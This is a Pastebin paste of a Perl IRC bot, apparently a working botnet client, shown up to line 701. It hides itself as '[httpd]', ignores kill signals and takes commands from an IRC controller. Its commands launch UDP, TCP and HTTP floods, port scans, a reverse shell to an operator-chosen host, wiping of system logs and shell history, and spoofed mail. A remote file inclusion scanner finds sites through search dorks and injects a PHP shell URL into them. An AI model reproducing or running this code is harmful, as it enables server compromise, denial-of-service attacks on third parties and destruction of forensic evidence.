API tools faq
paste
coi234

Untitled

coi234
Nov 28th, 2018
419
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 52.46 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use LWP::UserAgent;
  5.  
  6. my $processo = '[httpd]';
  7. my $linas_max='4';
  8. my $sleep='6';
  9. my $cmd="[PHP-SHELL]";
  10. my $id="http://vonalingatlan.hu/media/SianTarUniX/idr?";
  11. my @adms=("coi");
  12. my @canais=("#+park");
  13. my @nickname = ("area".int(rand(1000)));
  14. my $nick = $nickname[rand scalar @nickname];
  15. my $ircname ='alien';
  16. chop (my $realname = 'SianTarUniX');
  17. $servidor='irc.crimelink.ml' unless $servidor;
  18. my $porta='7000';
  19.  
  20. $SIG{'INT'} = 'IGNORE';
  21. $SIG{'HUP'} = 'IGNORE';
  22. $SIG{'TERM'} = 'IGNORE';
  23. $SIG{'CHLD'} = 'IGNORE';
  24. $SIG{'PS'} = 'IGNORE';
  25. use IO::Socket;
  26. use Socket;
  27. use IO::Select;
  28. chdir("/");
  29.  
  30. #Connect
  31. $servidor="$ARGV[0]" if $ARGV[0];
  32. $0="$processo"."\0"x16;;
  33. my $pid=fork;
  34. exit if $pid;
  35. die "Masalah fork: $!" unless defined($pid);
  36.  
  37. our %irc_servers;
  38. our %DCC;
  39. my $dcc_sel = new IO::Select->new();
  40. $sel_cliente = IO::Select->new();
  41. sub sendraw {
  42. if ($#_ == '1') {
  43. my $socket = $_[0];
  44. print $socket "$_[1]\n";
  45. } else {
  46. print $IRC_cur_socket "$_[0]\n";
  47. }
  48. }
  49.  
  50. sub conectar {
  51. my $meunick = $_[0];
  52. my $servidor_con = $_[1];
  53. my $porta_con = $_[2];
  54. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  55. PeerPort=>$porta_con) or return(1);
  56. if (defined($IRC_socket)) {
  57. $IRC_cur_socket = $IRC_socket;
  58. $IRC_socket->autoflush(1);
  59. $sel_cliente->add($IRC_socket);
  60. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  61. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  62. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  63. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  64. nick("$meunick");
  65. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  66. sleep 1;
  67. }
  68. }
  69.  
  70. my $line_temp;
  71. while( 1 ) {
  72. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  73. delete($irc_servers{''}) if (defined($irc_servers{''}));
  74. my @ready = $sel_cliente->can_read(0);
  75. next unless(@ready);
  76. foreach $fh (@ready) {
  77. $IRC_cur_socket = $fh;
  78. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  79. $nread = sysread($fh, $msg, 4096);
  80. if ($nread == 0) {
  81. $sel_cliente->remove($fh);
  82. $fh->close;
  83. delete($irc_servers{$fh});
  84. }
  85. @lines = split (/\n/, $msg);
  86. for(my $c=0; $c<= $#lines; $c++) {
  87.  
  88. $line = $lines[$c];
  89. $line=$line_temp.$line if ($line_temp);
  90. $line_temp='';
  91. $line =~ s/\r$//;
  92. unless ($c == $#lines) {
  93. parse("$line");
  94. } else {
  95. if ($#lines == 0) {
  96. parse("$line");
  97. } elsif ($lines[$c] =~ /\r$/) {
  98. parse("$line");
  99. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  100. parse("$line");
  101. } else {
  102. $line_temp = $line;
  103. }
  104. }
  105. }
  106. }
  107. }
  108.  
  109. sub parse {
  110. my $servarg = shift;
  111. if ($servarg =~ /^PING \:(.*)/) {
  112. sendraw("PONG :$1");
  113. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  114. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  115. if ($args =~ /^\001VERSION\001$/) {
  116. notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
  117. }
  118. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  119. if ($onde eq "$meunick"){
  120. shell("$pn", "$args");
  121. }
  122.  
  123. #End of Connect
  124.  
  125. ######################
  126. # PREFIX #
  127. # #
  128. ######################
  129. # You can change the prefix if you want but the commands will be different
  130. # The standard prefix is !x if you change it into !xitch for example
  131. # every command will be like !xitch @udpflood, !xitch @googlescan.
  132. # So its recommended not to change this ;)
  133. ######################
  134.  
  135. if ($args =~ /^(\Q$meunick\E|\!x)\s+(.*)/ ) {
  136. my $natrix = $1;
  137. my $arg = $2;
  138. if ($arg =~ /^\!(.*)/) {
  139. ircase("$pn","$onde","$1") unless ($natrix eq "!x" and $arg =~ /^\!nick/);
  140. } elsif ($arg =~ /^\@(.*)/) {
  141. $ondep = $onde;
  142. $ondep = $pn if $onde eq $meunick;
  143. bfunc("$ondep","$1");
  144. } else {
  145. shell("$onde", "$arg");
  146. }
  147. }
  148. }
  149. }
  150. ######################
  151. # End of PREFIX #
  152. # #
  153. ######################
  154.  
  155. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  156. if (lc($1) eq lc($meunick)) {
  157. $meunick=$4;
  158. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  159. }
  160. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  161. nick("$meunick".int rand(999999));
  162. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  163. $meunick = $2;
  164. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  165. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  166. foreach my $canal (@canais) {
  167. sendraw("JOIN $canal ddosit");
  168. }
  169. }
  170. }
  171.  
  172. sub bfunc {
  173. my $printl = $_[0];
  174. my $funcarg = $_[1];
  175. if (my $pid = fork) {
  176. waitpid($pid, 0);
  177. } else {
  178. if (fork) {
  179. exit;
  180. } else {
  181.  
  182. ######################
  183. # Help #
  184. # #
  185. ######################
  186.  
  187. if ($funcarg =~ /^help/) {
  188. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 Scanner edit by 2MasterKid");
  189. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@ddos");
  190. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@rfi");
  191. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@backconnect");
  192. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@shell");
  193. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@portscanner");
  194. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@commands");
  195.  
  196. }
  197.  
  198. if ($funcarg =~ /^ddos/) {
  199. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 There are 3 DDos in this bot");
  200. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 UDPFlood, HTTPFlood and TCPFlood");
  201. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@udpflood 3<ip> <packet size> <time>");
  202. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@tcpflood 3<ip> <port> <packet size> <time>");
  203. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@httpflood 3<site> <time>");
  204.  
  205. }
  206.  
  207. #if ($funcarg =~ /^rfi/) {
  208. # sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 This bot also contains a RFI Scanner.");
  209. # sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 That contains the engines :12G4o8o12g9l4e4, 7M4S7N4, 7All7The7Web4, 14A4S14K4, 7AOL, 1L7yc1o7s4, 2Y6ahoo ");
  210. # sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 Commands :");
  211. # sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@rfi 3<vuln> <dork>");
  212. # sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 You can find strings here : http://www.xshqiptaretx.org/strings.txt ");
  213. #
  214. #}
  215.  
  216. if ($funcarg =~ /^backconnect/) {
  217. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 You use backconnect like this :");
  218. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@back 3<ip><port>");
  219. }
  220.  
  221. if ($funcarg =~ /^shell/) {
  222. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 This bot has a integrated shell");
  223. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 You can use it in private but also public in the channel");
  224. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 In public channel just use : 2!x cd tmp3 for example");
  225. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 For help with the linux commands type :!x 2@linuxhelp");
  226. }
  227.  
  228. if ($funcarg =~ /^portscanner/) {
  229. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 There is a normal portscan and a Nmap:");
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@portscan 3<ip>");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@nmap 3<ip> <beginport> <endport>");
  232. }
  233.  
  234. if ($funcarg =~ /^commands/) {
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 You can use the following commands :");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@portscan 3<ip>");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@nmap 3<ip> <beginport> <endport>");
  238. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@back 3<ip><port>");
  239. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x cd tmp for example");
  240. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@udpflood 3<ip> <packet size> <time>");
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@tcpflood 3<ip> <port> <packet size> <time>");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@httpflood 3<site> <time>");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@linuxhelp");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@rfi 3<vuln> <dork>");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@system");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@logcleaner");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@sendmail 3<subject> <sender> <recipient> <message>");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@milw0rm");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@join #channel");
  250. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Help14)3 !x 2@part #channel");
  251. }
  252.  
  253. if ($funcarg =~ /^linuxhelp/) {
  254. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Dir where you are : pwd");
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Start a Perl file : perl file.pl");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Go back from dir : cd ..");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Force to Remove a file/dir : rm -rf file/dir;ls -la");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Show all files/dir with permissions : ls -lia");
  259. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Find config.inc.php files : find / -type f -name config.inc.php");
  260. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Find all writable folders and files : find / -perm -2 -ls");
  261. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Find all .htpasswd files : find / -type f -name .htpasswd");
  262. sendraw($IRC_cur_socket, "PRIVMSG $printl :2 Find all service.pwd files : find / -type f -name service.pwd");
  263. }
  264.  
  265. ######################
  266. # End of Help #
  267. # #
  268. ######################
  269.  
  270. ######################
  271. # Commands #
  272. # #
  273. ######################
  274.  
  275. if ($funcarg =~ /^system/) {
  276. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Info BOT : 3 $servidor : $porta");
  278. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Uname -a : 3 $uname");
  279. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Uptime : 3 $uptime");
  280. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Own Prosses : 3 $processo");
  281. sendraw($IRC_cur_socket, "PRIVMSG $printl :2ID : 3 $id");
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Own Dir : 3 $ownd");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :2OS : 3 $distro");
  284. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Owner : 3 achap");
  285. sendraw($IRC_cur_socket, "PRIVMSG $printl :2Channel : 3 #upsi@WebChat");
  286. }
  287.  
  288. if ($funcarg =~ /^milw0rm/) {
  289. my @ltt=();
  290. my @bug=();
  291. my $x;
  292. my $page="";
  293. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  294. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  295. my @r = <$socke>;
  296. $page="@r";
  297. close($socke);
  298. while ($page =~ m/<title>(.*)</g){
  299. $x = $1;
  300. if ($x =~ /\&lt\;/) {
  301. $x =~ s/\&lt\;/</g;
  302. }
  303. if ($x !~ /milw0rm/) {
  304. push (@bug,$x);
  305. }}
  306. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  307. if ($1 !~ m/milw0rm.com|exploits|en/){
  308. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  309. }}
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2milw0rm14)3 Latest exploits :");
  311. foreach $x (0..(@ltt - 1)) {
  312. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2milw0rm14)3 $bug[$x] - $ltt[$x]");
  313. sleep 1;
  314. }}
  315.  
  316. ######################
  317. # Portscan #
  318. # #
  319. ######################
  320.  
  321. if ($funcarg =~ /^portscan (.*)/) {
  322. my $hostip="$1";
  323. my
  324. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  325. my (@aberta, %porta_banner);
  326. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Scanning14)3 Scan Untuk Port yang Terbuka".$1." 3Tunggu!.");
  327. foreach my $porta (@portas) {
  328. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  329. 'tcp', Timeout => 4);
  330. if ($scansock) {
  331. push (@aberta, $porta);
  332. $scansock->close;
  333. }
  334. }
  335.  
  336. if (@aberta) {
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Scanning14)3 Port yang Terbuka: @aberta");
  338. } else {
  339. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Scanning14)3 Tiada.");
  340. }
  341. }
  342.  
  343. ######################
  344. # End of Portscan #
  345. # #
  346. ######################
  347.  
  348. ######################
  349. # Nmap #
  350. # #
  351. ######################
  352. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  353. my $hostip="$1";
  354. my $portstart = "$2";
  355. my $portend = "$3";
  356. my (@abertas, %porta_banner);
  357. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Nmap14)2Port: $1 3Ports $2-$3");
  358. foreach my $porta ($portstart..$portend){
  359. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  360. if ($scansock) {
  361. push (@abertas, $porta);
  362. $scansock->close;
  363. if ($xstats){
  364. sendraw($IRC_cur_socket, "PRIVMSG $printl ::14(2Nmap14) 3Dapat 3 $porta"."/Open");
  365. }
  366. }
  367. }
  368. if (@abertas) {
  369. sendraw($IRC_cur_socket, "PRIVMSG $printl ::14(2Nmap14)3 3Selesai!");
  370. } else {
  371. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Nmap14)3 3Tiada");
  372. }
  373. }
  374. ######################
  375. # End of Nmap #
  376. # #
  377. ######################
  378.  
  379. #
  380. ######################
  381. # Log Cleaner #
  382. # #
  383. ######################
  384. if ($funcarg =~ /^logcleaner/) {
  385. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2LogCleaned14)3 3Tunggu..");
  386. system 'rm -rf /var/log/lastlog';
  387. system 'rm -rf /var/log/wtmp';
  388. system 'rm -rf /etc/wtmp';
  389. system 'rm -rf /var/run/utmp';
  390. system 'rm -rf /etc/utmp';
  391. system 'rm -rf /var/log';
  392. system 'rm -rf /var/logs';
  393. system 'rm -rf /var/adm';
  394. system 'rm -rf /var/apache/log';
  395. system 'rm -rf /var/apache/logs';
  396. system 'rm -rf /usr/local/apache/log';
  397. system 'rm -rf /usr/local/apache/logs';
  398. system 'rm -rf /root/.bash_history';
  399. system 'rm -rf /root/.ksh_history';
  400. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2LogCleaned14)3 Default log and bash_history file dihapus.");
  401. sleep 1;
  402. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2LogCleaned14)3 Hapuskan machine log file.");
  403. system 'find / -name *.bash_history -exec rm -rf {} \;';
  404. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  405. system 'find / -name "log*" -exec rm -rf {} \;';
  406. system 'find / -name *.log -exec rm -rf {} \;';
  407. sleep 1;
  408. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2LogCleaned14)3 Semua log telah dihapuskan.");
  409. }
  410. ######################
  411. # End of Log Cleaner #
  412. # #
  413. ######################
  414. #
  415. # The PitBull !!!!
  416. #
  417. ######################
  418. # MAILER #
  419. # #
  420. ######################
  421. # For mailing use :
  422. # !x @sendmail <subject> <sender> <recipient> <message>
  423. #
  424. ######################
  425. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  426. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Mailer14)3 Pengiriman ke :14 $3");
  427. $subject = $1;
  428. $sender = $2;
  429. $recipient = $3;
  430. @corpo = $4;
  431. $mailtype = "content-type: text/html";
  432. $sendmail = '/usr/sbin/sendmail';
  433. open (SENDMAIL, "| $sendmail -t");
  434. print SENDMAIL "$mailtype\n";
  435. print SENDMAIL "Subject: $subject\n";
  436. print SENDMAIL "From: $sender\n";
  437. print SENDMAIL "To: $recipient\n\n";
  438. print SENDMAIL "@corpo\n\n";
  439. close (SENDMAIL);
  440. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Mailer14)3 Mail Dikirim ke :14 $recipient");
  441. }
  442. ######################
  443. # End of MAILER #
  444. # #
  445. ######################
  446. ######################
  447. # Join And Part #
  448. # #
  449. ######################
  450. if ($funcarg =~ /^join (.*)/) {
  451. sendraw($IRC_cur_socket, "JOIN ".$1);
  452. }
  453. if ($funcarg =~ /^part (.*)/) {
  454. sendraw($IRC_cur_socket, "PART ".$1);
  455. }
  456.  
  457. ######################
  458. #End of Join And Part#
  459. # #
  460. ######################
  461.  
  462. ######################
  463. # TCPFlood #
  464. # #
  465. ######################
  466.  
  467. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  468. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2DDos14)3 14 ".$1.":".$2." 3for 14 ".$3." 3seconds.");
  469. my $itime = time;
  470. my ($cur_time);
  471. $cur_time = time - $itime;
  472. while ($3>$cur_time){
  473. $cur_time = time - $itime;
  474. &tcpflooder("$1","$2","$3");
  475. }
  476. sendraw($IRC_cur_socket,"PRIVMSG $printl :14(2DDos14)3 Penembakan selesai 14 ".$1.":".$2.".");
  477. }
  478. ######################
  479. # End of TCPFlood #
  480. # #
  481. ######################
  482.  
  483. ######################
  484. # Back Connect #
  485. # #
  486. ######################
  487. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  488. my $host = "$1";
  489. my $porta = "$2";
  490. my $proto = getprotobyname('tcp');
  491. my $iaddr = inet_aton($host);
  492. my $paddr = sockaddr_in($porta, $iaddr);
  493. my $shell = "/bin/sh -i";
  494. if ($^O eq "MSWin32") {
  495. $shell = "cmd.exe";
  496. }
  497. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  498. connect(SOCKET, $paddr) or die "connect: $!";
  499. open(STDIN, ">&SOCKET");
  500. open(STDOUT, ">&SOCKET");
  501. open(STDERR, ">&SOCKET");
  502. system("$shell");
  503. close(STDIN);
  504. close(STDOUT);
  505. close(STDERR);
  506. if ($estatisticas)
  507. {
  508. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Backconnect14)3 Konek ke 14 $host:$porta");
  509. }
  510. }
  511. ######################
  512. #End of Back Connect#
  513. # #
  514. ######################
  515.  
  516. ######################
  517. # MULTI SCANNER #
  518. # #
  519. ######################
  520. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  521. if (my $pid = fork) {
  522. waitpid($pid, 0);
  523. } else {
  524. if (fork) {
  525. exit;
  526. } else {
  527. my $bug=$1;
  528. my $dork=$2;
  529. my $contatore=0;
  530. my %hosts;
  531. ### Start Message
  532. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4netcat12)7 wE lOad the bug:1 $bug ");
  533. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4netcat12)7 wE lOad the dOrk:1 $dork ");
  534. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4netcat12)14 let's rock this party. ");
  535. ### End of Start Message
  536. # Starting Google
  537. my @glist=&google($dork);
  538. push(my @tot, @glist );
  539. my @puliti=&unici(@tot);
  540. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4g00gle12) 2".scalar(@tot)." 3sites");
  541. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4g00gle12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  542. my $uni=scalar(@puliti);
  543. foreach my $sito (@puliti)
  544. {
  545. $contatore++;
  546. if ($contatore %50==0){
  547. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  548. }
  549. if ($contatore==$uni-1){
  550. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4g00gle12)7 sCaN fiNniShed for $dork");
  551. }
  552. ### Print CMD and TEST CMD###
  553. my $test="http://".$sito.$bug.$id."?";
  554. my $print="http://".$sito.$bug.$cmd."?";
  555. ### End of Print CMD and TEST CMD###
  556. my $req=HTTP::Request->new(GET=>$test);
  557. my $ua=LWP::UserAgent->new();
  558. $ua->timeout(7);
  559. my $response=$ua->request($req);
  560. if ($response->is_success) {
  561. my $re=$response->content;
  562. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  563. my $hs=geths($print); $hosts{$hs}++;
  564. if($hosts{$hs}=="1"){
  565. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  566. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  567. }}
  568. elsif($re =~ /k4l0nk/)
  569. {
  570. my $hs=geths($print); $hosts{$hs}++;
  571. if($hosts{$hs}=="1"){
  572. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  573. }}
  574. }}}
  575. exit;
  576. }}}
  577.  
  578. #
  579. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  580. if (my $pid = fork) {
  581. waitpid($pid, 0);
  582. } else {
  583. if (fork) {
  584. exit;
  585. } else {
  586. my $bug=$1;
  587. my $dork=$2;
  588. my $contatore=0;
  589. my %hosts;
  590. my @mlist=&msn($dork);
  591. push(my @tot, @mlist );
  592. my @puliti=&unici(@tot);
  593. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4mSn12) 2".scalar(@tot)." 3sites");
  594. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4mSn12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  595. my $uni=scalar(@puliti);
  596. foreach my $sito (@puliti)
  597. {
  598. $contatore++;
  599. if ($contatore %50==0){
  600. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  601. }
  602. if ($contatore==$uni-1){
  603. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4mSn12)7 sCaN fiNniShed for $dork");
  604. }
  605. ### Print CMD and TEST CMD###
  606. my $test="http://".$sito.$bug.$id."?";
  607. my $print="http://".$sito.$bug.$cmd."?";
  608. ### End of Print CMD and TEST CMD###
  609. my $req=HTTP::Request->new(GET=>$test);
  610. my $ua=LWP::UserAgent->new();
  611. $ua->timeout(7);
  612. my $response=$ua->request($req);
  613. if ($response->is_success) {
  614. my $re=$response->content;
  615. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  616. my $hs=geths($print); $hosts{$hs}++;
  617. if($hosts{$hs}=="1"){
  618. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  619. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  620. }}
  621. elsif($re =~ /k4l0nk/)
  622. {
  623. my $hs=geths($print); $hosts{$hs}++;
  624. if($hosts{$hs}=="1"){
  625. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  626. }}
  627. }}}
  628. exit;
  629. }}}
  630.  
  631. #
  632. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  633. if (my $pid = fork) {
  634. waitpid($pid, 0);
  635. } else {
  636. if (fork) {
  637. exit;
  638. } else {
  639. my $bug=$1;
  640. my $dork=$2;
  641. my $contatore=0;
  642. my %hosts;
  643. my @allist=&alltheweb($dork);
  644. push(my @tot, @allist );
  645. my @puliti=&unici(@tot);
  646. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aLLthewEb12) 2".scalar(@tot)." 3sites");
  647. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aLLthewEb12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  648. my $uni=scalar(@puliti);
  649. foreach my $sito (@puliti)
  650. {
  651. $contatore++;
  652. if ($contatore %50==0){
  653. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  654. }
  655. if ($contatore==$uni-1){
  656. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aLLthewEb12)7 sCaN fiNniShed for $dork");
  657. }
  658. ### Print CMD and TEST CMD###
  659. my $test="http://".$sito.$bug.$id."?";
  660. my $print="http://".$sito.$bug.$cmd."?";
  661. ### End of Print CMD and TEST CMD###
  662. my $req=HTTP::Request->new(GET=>$test);
  663. my $ua=LWP::UserAgent->new();
  664. $ua->timeout(7);
  665. my $response=$ua->request($req);
  666. if ($response->is_success) {
  667. my $re=$response->content;
  668. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  669. my $hs=geths($print); $hosts{$hs}++;
  670. if($hosts{$hs}=="1"){
  671. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  672. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  673. }}
  674. elsif($re =~ /k4l0nk/)
  675. {
  676. my $hs=geths($print); $hosts{$hs}++;
  677. if($hosts{$hs}=="1"){
  678. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  679. }}
  680. }}}
  681. exit;
  682. }}}
  683.  
  684. #
  685. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  686. if (my $pid = fork) {
  687. waitpid($pid, 0);
  688. } else {
  689. if (fork) {
  690. exit;
  691. } else {
  692. my $bug=$1;
  693. my $dork=$2;
  694. my $contatore=0;
  695. my %hosts;
  696. my @asklist=&ask($dork);
  697. push(my @tot, @asklist );
  698. my @puliti=&unici(@tot);
  699. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aSk12) 2".scalar(@tot)." 3sites");
  700. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aSk12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  701. my $uni=scalar(@puliti);
